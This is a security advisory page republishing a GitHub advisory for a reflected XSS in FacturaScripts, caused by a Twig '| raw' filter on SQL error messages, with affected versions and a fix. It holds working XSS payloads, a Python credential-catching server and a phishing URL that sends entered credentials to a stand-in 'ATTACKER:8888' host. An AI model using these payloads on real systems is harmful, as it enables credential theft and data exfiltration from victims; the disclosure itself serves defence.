Średnia

FacturaScripts is Vulnerable to Reflected XSS

  • Ujawniono: 02.02.2026
  • Aktualizacja: 11.10.2026 10:22

Reflected XSS via SQL Error Messages

Summary

A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.

Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).

CVSS 6.1 (Medium-High)


What was Found

Where the bug exists in the code:

Core/View/Macro/Utils.html.twig, line 27:

twig
{% for item in messages %}
    <div>{{ item.message | raw }}</div>
{% endfor %}

That | raw is the problem. It tells Twig not to escape anything.

How it works

So here's what happens:

  1. Hhit /EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>
  2. The app tries to look up a product with that "code"
  3. PostgreSQL throws an error because <svg onload=alert(1)> isn't a valid integer
  4. The error goes something like: ``` ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>" LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
  5. This gets logged via MiniLog and displayed to the user
  6. Because of | raw, the browser actually executes the JS

The error logging happens in Core/Base/DataBase.php around line 236:

php
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);

And PostgreSQL's error message includes whatever garbage it was sent.


Reproduction Steps

Requirements

  • Working FacturaScripts install
  • Any user account (doesn't need to be admin)
  • The victim needs to be logged in

Quick test

Just visit this URL while logged in:

http://localhost/EditProducto?code=<svg onload=alert(document.domain)>

An alert box should pop up.

For a real attack (credential phishing)

Set up a simple server to catch credentials:

python
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query)
        print(f"\nGot creds:")
        print(f"  User: {q.get('user', ['?'])[0]}")
        print(f"  Pass: {q.get('pass', ['?'])[0]}")
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

HTTPServer(('', 8888), Handler).serve_forever()

Then craft a URL that injects a fake login form:

http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">

Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.

Other endpoints that work

Pretty much anything that uses the code parameter:

  • /EditProducto?code=
  • /EditCliente?code=
  • /EditFacturaCliente?code=
  • /EditProveedor?code=
  • etc.

Basically all the Edit controllers.


Impact

What attackers can do with this

Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.

Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.

Keylog - Inject a keylogger that captures everything they type.

Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.

What attackers CAN'T do

Can't steal session cookies via document.cookie - they're HttpOnly.

Business side

This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:

  • Fake invoices
  • Redirected payments
  • Customer data breach (GDPR stuff)
  • The usual mess

Fix

Quick fix

Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:

diff
-    <div>{{ item.message | raw }}</div>
+    <div>{{ item.message }}</div>

That's it. Twig escapes by default, so removing | raw fixes the XSS.

If projects want to be thorough

  1. Sanitize messages before they go into the log:
php
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
  1. Add CSP headers to block inline scripts as a backup

  2. Maybe validate the code parameter format before it hits the database


Resources


Found: Dec 31, 2025
Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest) <img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" /> <img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" /> <img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" /> <img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" /> <img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" /> <img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer facturascripts/facturascripts < 2025.81 2025.81

Odnośniki

Ocena CVSS 5.4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Słabość (CWE)
CWE-79
Platforma
Composer
Paczka
facturascripts/facturascripts
Ujawniono
02.02.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-g6w2-q45f-xrp4 - CC BY 4.0

Historia podatności: facturascripts/facturascripts

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (26) w archiwum
Wszystkich wpisów
26
Pierwsza → ostatnia
04.2022 07.2026
Bez poprawki
15
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 7
  • Średnia 12
  • Niska 2

Ujawnienia w latach

  1. 2022: 8
  2. 2023: 0
  3. 2024: 0
  4. 2025: 1
  5. 2026: 17
Istotność:
  1. Krytyczna CVE-2026-47677 < 2026.3 2026.3
  2. Wysoka CVE-2026-25514 < 2025.81 2025.81
  3. Wysoka CVE-2026-25513 < 2025.81 2025.81
  4. FacturaScripts is Vulnerable to Reflected XSS ten wpis
    Średnia · 5.4 CVE-2026-23476 < 2025.81 2025.81
  5. Wysoka CVE-2025-69210 < 2025.7, = 2025.11, = 2025.41, = 2025.43 2025.7
  6. Krytyczna · 9.8 CVE-2022-1715 < 2022.08 2022.08
  7. Krytyczna · 9.0 CVE-2022-1514 < 2022.06 2022.06

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.